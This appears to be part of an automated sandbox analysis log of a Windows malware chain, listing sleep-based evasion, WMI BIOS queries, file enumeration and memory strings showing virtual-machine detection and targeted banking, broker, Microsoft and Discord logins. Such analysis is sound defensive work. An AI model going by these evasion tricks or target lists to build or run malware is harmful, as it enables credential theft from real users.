Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2968	Thread sleep time: -2085042s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2524	Thread sleep count: 619 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2524	Thread sleep time: -1238619s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2144	Thread sleep count: 978 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2144	Thread sleep time: -1956978s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2984	Thread sleep count: 1044 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2984	Thread sleep time: -2089044s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2876	Thread sleep count: 995 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2876	Thread sleep time: -1990995s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 3248	Thread sleep time: -1080000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2624	Thread sleep count: 1045 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2624	Thread sleep time: -2091045s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe TID: 716	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe TID: 6840	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe TID: 5536	Thread sleep time: -120000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com TID: 7624	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 6564	Thread sleep count: 960 > 30
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 6564	Thread sleep time: -1920960s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 2368	Thread sleep count: 1106 > 30
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 2368	Thread sleep time: -2213106s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 2188	Thread sleep count: 1079 > 30
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 2188	Thread sleep time: -2159079s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 5428	Thread sleep count: 243 > 30
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 5428	Thread sleep time: -1458000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 3564	Thread sleep count: 1028 > 30
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 3564	Thread sleep time: -2057028s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 6304	Thread sleep count: 1140 > 30
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 6304	Thread sleep time: -2281140s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 6024	Thread sleep count: 1158 > 30
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 6024	Thread sleep time: -2317158s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 3964	Thread sleep count: 1123 > 30
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 3964	Thread sleep time: -2247123s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 3684	Thread sleep time: -32000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 5696	Thread sleep count: 215 > 30
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 5696	Thread sleep time: -1290000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 5604	Thread sleep count: 1091 > 30
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 5604	Thread sleep time: -2183091s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 1696	Thread sleep count: 1159 > 30
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 1696	Thread sleep time: -2319159s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 3916	Thread sleep count: 1130 > 30
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 3916	Thread sleep time: -2261130s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 1604	Thread sleep count: 1110 > 30
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 1604	Thread sleep time: -2221110s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 6232	Thread sleep count: 1179 > 30
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 6232	Thread sleep time: -2359179s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 1404	Thread sleep count: 1222 > 30
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 1404	Thread sleep time: -2445222s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 4292	Thread sleep count: 1204 > 30
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 4292	Thread sleep time: -2409204s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 4568	Thread sleep count: 1219 > 30
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 4568	Thread sleep time: -2439219s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 4840	Thread sleep count: 1212 > 30
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 4840	Thread sleep time: -2425212s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 2728	Thread sleep count: 1178 > 30
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 2728	Thread sleep time: -2357178s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 6220	Thread sleep time: -36000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 4144	Thread sleep count: 1190 > 30
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 4144	Thread sleep time: -2381190s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 6408	Thread sleep count: 1207 > 30
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 6408	Thread sleep time: -2415207s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 4180	Thread sleep count: 1191 > 30
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 4180	Thread sleep time: -2383191s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe TID: 6752	Thread sleep count: 1493 > 30
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe TID: 6752	Thread sleep time: -44790000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe TID: 4080	Thread sleep time: -360000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe TID: 6752	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 6572	Thread sleep count: 1157 > 30
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 6572	Thread sleep time: -2315157s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 6148	Thread sleep count: 1047 > 30
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 6148	Thread sleep time: -2095047s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 4936	Thread sleep count: 1094 > 30
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 4936	Thread sleep time: -2189094s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 5908	Thread sleep count: 218 > 30
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 5908	Thread sleep time: -1308000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 7040	Thread sleep count: 1104 > 30
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 7040	Thread sleep time: -2209104s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 6420	Thread sleep count: 1142 > 30
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe TID: 6420	Thread sleep time: -2285142s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe TID: 6852	Thread sleep time: -2441220s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe TID: 3008	Thread sleep time: -2403201s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe TID: 3228	Thread sleep time: -64000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe TID: 916	Thread sleep time: -2403201s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe TID: 6412	Thread sleep time: -2431215s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe TID: 6536	Thread sleep time: -2443221s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe TID: 2696	Thread sleep time: -2443221s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe TID: 3676	Thread sleep time: -2439219s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe TID: 4696	Thread sleep time: -2441220s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4248	Thread sleep count: 1181 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4248	Thread sleep time: -2363181s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2952	Thread sleep count: 1081 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2952	Thread sleep time: -2163081s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2920	Thread sleep time: -40000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6176	Thread sleep count: 1081 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6176	Thread sleep time: -2163081s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2944	Thread sleep count: 109 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2944	Thread sleep time: -3270000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6696	Thread sleep count: 1112 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6696	Thread sleep time: -2225112s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4464	Thread sleep count: 1117 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4464	Thread sleep time: -2235117s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4980	Thread sleep count: 1074 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4980	Thread sleep time: -2149074s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3336	Thread sleep count: 1063 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3336	Thread sleep time: -2127063s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 1560	Thread sleep count: 1180 > 30
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 1560	Thread sleep time: -2361180s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 1564	Thread sleep count: 1196 > 30
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 1564	Thread sleep time: -2393196s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 5524	Thread sleep count: 1207 > 30
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 5524	Thread sleep time: -2415207s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 5704	Thread sleep count: 1178 > 30
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 5704	Thread sleep time: -2357178s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 5660	Thread sleep count: 1188 > 30
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 5660	Thread sleep time: -2377188s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 1496	Thread sleep count: 1231 > 30
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 1496	Thread sleep time: -2463231s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 5444	Thread sleep count: 1210 > 30
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 5444	Thread sleep time: -2421210s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 3312	Thread sleep count: 1207 > 30
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 3312	Thread sleep time: -2415207s >= -30000s
Source: C:\Windows\SysWOW64\rundll32.exe TID: 1332	Thread sleep count: 4177 > 30
Source: C:\Windows\SysWOW64\rundll32.exe TID: 1332	Thread sleep time: -4177000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 5424	Thread sleep count: 1182 > 30
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 5424	Thread sleep time: -2365182s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 1132	Thread sleep count: 1213 > 30
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 1132	Thread sleep time: -2427213s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 4660	Thread sleep count: 1195 > 30
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 4660	Thread sleep time: -2391195s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 7032	Thread sleep time: -32000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 5620	Thread sleep count: 1208 > 30
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 5620	Thread sleep time: -2417208s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 2784	Thread sleep count: 1213 > 30
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 2784	Thread sleep time: -2427213s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 5244	Thread sleep count: 1185 > 30
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 5244	Thread sleep time: -2371185s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 1544	Thread sleep count: 1201 > 30
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 1544	Thread sleep time: -2403201s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 1600	Thread sleep count: 1205 > 30
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe TID: 1600	Thread sleep time: -2411205s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5364	Thread sleep count: 1650 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3832	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1156	Thread sleep time: -1844674407370954s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: 8_2_009436A9 FindFirstFileExW,	8_2_009436A9
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: 8_2_0094375A FindFirstFileExW,FindNextFileW,FindClose,FindClose,	8_2_0094375A
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: 10_2_0015F191 FindFirstFileExW,	10_2_0015F191
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: 11_2_007BF191 FindFirstFileExW,	11_2_007BF191

Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe

Code function: 10_2_001293D0 GetVersionExW,GetModuleHandleA,GetProcAddress,GetSystemInfo,

10_2_001293D0

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	File opened: C:\Users\user	Jump to behavior

Source: Amcache.hve.38.dr	Binary or memory string: VMware
Source: Sale.com, 0000001B.00000003.3733196379.0000000001776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696497155
Source: Sale.com, 0000001B.00000003.3733196379.0000000001776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
Source: I0XmI2t.exe, 0000002D.00000002.3810485257.00007FF6DBF8F000.00000002.00000001.01000000.00000018.sdmp, I0XmI2t.exe, 0000002D.00000000.2915657312.00007FF6DBF8F000.00000002.00000001.01000000.00000018.sdmp	Binary or memory string: qEMutating a value collection derived from a dictionary is not allowed.Y
Source: Amcache.hve.38.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: legs.exe, legs.exe, 0000000C.00000002.2258896329.000000000074C000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2227115922.000000000074C000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.00000000014DD000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2138767882.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2138726483.00000000014DD000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126440681.0000000001524000.00000004.00000020.00020000.00000000.sdmp, daw21.exe, 00000017.00000002.3041283471.00000000007DF000.00000004.00000020.00020000.00000000.sdmp, defnur.exe, 00000021.00000002.3894904425.00000000006B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: legs.exe, 0000000C.00000002.2258896329.000000000070C000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2227115922.000000000070C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: 24adfe999c.exe, 0000001D.00000002.3908335607.0000000000BB2000.00000080.00000001.01000000.00000011.sdmp, 24adfe999c.exe, 0000001F.00000002.3910066516.0000000000BB2000.00000080.00000001.01000000.00000011.sdmp, 24adfe999c.exe, 00000023.00000002.3901366746.0000000000BB2000.00000080.00000001.01000000.00000011.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\Wi
Source: Amcache.hve.38.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Sale.com, 0000001B.00000003.3733196379.0000000001776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696497155
Source: Sale.com, 0000001B.00000003.3733196379.0000000001776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696497155x
Source: Sale.com, 0000001B.00000003.3733196379.0000000001776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
Source: Sale.com, 0000001B.00000003.3733196379.0000000001776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
Source: Sale.com, 0000001B.00000003.3733196379.0000000001776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696497155d
Source: Amcache.hve.38.dr	Binary or memory string: vmci.sys
Source: Sale.com, 0000001B.00000003.3733196379.0000000001776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696497155x
Source: am209.exe, 0000000A.00000003.1961343299.0000000000CB3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{5S%?H5
Source: Sale.com, 0000001B.00000003.3737704656.00000000017E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696497155p
Source: fkawMJ7FH8.exe, 00000001.00000003.1444635268.0000000000B88000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: Sale.com, 0000001B.00000003.3733196379.0000000001776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696497155}
Source: Amcache.hve.38.dr	Binary or memory string: VMware20,1
Source: Sale.com, 0000001B.00000003.3733196379.0000000001776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
Source: Sale.com, 0000001B.00000003.3733196379.0000000001776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696497155u
Source: Amcache.hve.38.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.38.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.38.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: daw21.exe, 00000017.00000002.3041283471.000000000077E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Amcache.hve.38.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Sale.com, 0000001B.00000003.3733196379.0000000001776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696497155f
Source: Amcache.hve.38.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.38.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Sale.com, 0000001B.00000003.3733196379.0000000001776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696497155
Source: Amcache.hve.38.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.38.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.38.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Sale.com, 0000001B.00000003.3733196379.0000000001776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
Source: Sale.com, 0000001B.00000003.3733196379.0000000001776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696497155s
Source: Sale.com, 0000001B.00000003.3733196379.0000000001776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
Source: Amcache.hve.38.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
